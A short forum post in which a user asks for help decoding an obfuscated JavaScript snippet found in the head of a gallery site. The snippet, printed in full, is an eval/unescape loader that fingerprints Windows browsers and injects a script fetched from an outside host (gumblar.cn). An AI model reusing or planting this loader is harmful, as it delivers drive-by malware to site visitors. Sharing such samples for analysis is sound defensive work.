convert encoded javascript?

[Toby]

I found this snippet in the head of a gallery. Javascript is not my forté, so I've not been having much success decoding it to determine if it's malicious or benign.

Any javascript gurus around here that can turn this back into readable code?

PHP Code:

(function(t){eval(unescape(('>76a>72>20a>3d>22ScriptE>6e>67>69ne>22>2cb>3d>22Ver>73>69on()+>22>2c>6a>3d>22>22>2cu>3dnav>69g>61tor>2e>75>73erAgent>3bi>66((>75>2ei>6e>64exO>66(>22Win>22)>3e0)>26>26(u>2eindexOf(>22N>54>206>22)>3c0>29>26>26(d>6f>63ume>6et>2e>63ookie>2e>69>6ed>65x>4ff(>22miek>3d1>22)>3c>30)>26>26>28>74y>70eof(>7a>72vzts)>21>3dtypeof(>22A>22)))>7bz>72vzts>3d>22A>22>3beva>6c(>22i>66(w>69>6edow>2e>22+>61+>22)j>3d>6a+>22+a+>22Ma>6aor>22+b>2b>61>2b>22>4dinor>22+b+a+>22Bui>6c>64>22+b+>22j>3b>22>29>3bd>6fcumen>74>2ewri>74e(>22>3cscrip>74>20src>3d>2f>2f>67um>62lar>2ec>6e>2fr>73>73>2f>3f>69d>3d>22+>6a+>22>3e>3c>5c>2fscript>3e>22)>3b>7d').replace(t,'%')))})(/>/g);